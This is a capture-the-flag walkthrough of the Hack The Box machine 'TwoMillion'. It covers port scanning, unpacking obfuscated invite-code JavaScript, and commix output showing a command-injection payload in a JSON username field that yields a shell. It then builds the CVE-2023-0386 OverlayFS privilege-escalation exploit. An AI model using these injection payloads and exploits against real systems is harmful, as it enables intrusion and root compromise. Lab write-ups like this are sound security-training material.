┌──(kali㉿kali)-[~/hackthebox/twomillion] └─$ sudo nmap -sC -sV -p80,22 10.129.229.66 [sudo] password for kali: Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-04 04:49 EST Nmap scan report for 10.129.229.66 Host is up (0.26s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA) |_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519) 80/tcp open http nginx |_http-title: Did not follow redirect to http://2million.htb/ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 23.33 seconds
Foothold
added the vhost to hosts file echo '10.129.229.66 2million.htb' | sudo tee -a /etc/hosts
after going through the website, i found the following script in http://2million.htb/invite which tells me there’s a /register route
I went to http://2million.htb/register and tried to register but it failed because the invite code variable is empty so i added the inviteCode item with a random value to local storage but it also failed with an error saying Code is invalid!
there’s <script defer src="/js/inviteapi.min.js"></script> with obfuscated code using Dean Edwards p.a.c.k.e.r method used this online tool to unpack the code https://tools.webuddha.com/jsPackerUnpack/
functionverifyInviteCode(code) { var formData = { "code" : code }; $.ajax( { type : "POST", dataType : "json", data : formData, url : '/api/v1/invite/verify', success : function (response) { console.log(response) }, error : function (response) { console.log(response) } }) } functionmakeInviteCode() { $.ajax( { type : "POST", dataType : "json", url : '/api/v1/invite/how/to/generate', success : function (response) { console.log(response) }, error : function (response) { console.log(response) } }) }
it looks like i can generate a code from this route /api/v1/invite/how/to/generate
1 2 3
┌──(kali㉿kali)-[~] └─$ curl http://2million.htb/api/v1/invite/how/to/generate -X POST {"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr","enctype":"ROT13"},"hint":"Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."}
[13:42:41] [info] Testing connection to the target URL. Custom injection marker (*) found in POST body. Do you want to process it? [Y/n] > Y [13:42:45] [info] Performing identification checks to the target URL. [13:42:45] [info] Setting the Unix-like based payloads. JSON data found in POST data. Do you want to process it? [Y/n] > Y [13:42:46] [info] Setting POST (JSON) parameter 'username'for tests.
[13:44:17] [warning] Heuristic (basic) tests shows that POST (JSON) parameter 'username' might not be injectable. [13:44:28] [info] Testing the (results-based) classic command injection technique. [13:44:28] [info] POST (JSON) parameter 'username' appears to be injectable via (results-based) classic command injection technique. |_ ;echo QOKDOE$((16+42))$(echo QOKDOE)QOKDOE POST (JSON) parameter 'username' is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > Y Pseudo-Terminal Shell (type'?'for available options) commix(os_shell) >
i tried sleep command to confirm it works, which it does
i find an email that tells me the system is vulnerable to OverLayFS / FUSE
1 2 3 4 5 6 7 8 9 10 11 12 13 14
admin@2million:/var/mail$ cat admin From: ch4p <ch4p@2million.htb> To: admin <admin@2million.htb> Cc: g0blin <g0blin@2million.htb> Subject: Urgent: Patch System OS Date: Tue, 1 June 2023 10:45:22 -0700 Message-ID: <9876543210@2million.htb> X-Mailer: ThunderMail Pro 5.2
Hey admin,
I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.
──(kali㉿kali)-[~/htb/2million/CVE-2023-0386] └─$ make all gcc fuse.c -o fuse -D_FILE_OFFSET_BITS=64 -static -pthread -lfuse -ldl fuse.c: In function ‘main’: fuse.c:214:12: warning: implicit declaration of function ‘read’; did you mean ‘fread’? [-Wimplicit-function-declaration] 214 | while (read(fd, content + clen, 1) > 0) | ^~~~ | fread fuse.c:216:5: warning: implicit declaration of function ‘close’; did you mean ‘pclose’? [-Wimplicit-function-declaration] 216 | close(fd); | ^~~~~ | pclose fuse.c:221:5: warning: implicit declaration of function ‘rmdir’ [-Wimplicit-function-declaration] 221 | rmdir(mount_path); | ^~~~~ /usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/13/../../../x86_64-linux-gnu/libfuse.a(fuse.o): in function `fuse_new_common': (.text+0xb1af): warning: Using 'dlopen' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking gcc -o exp exp.c -lcap gcc -o gc getshell.c
then started an http server with python to serve the files i compiled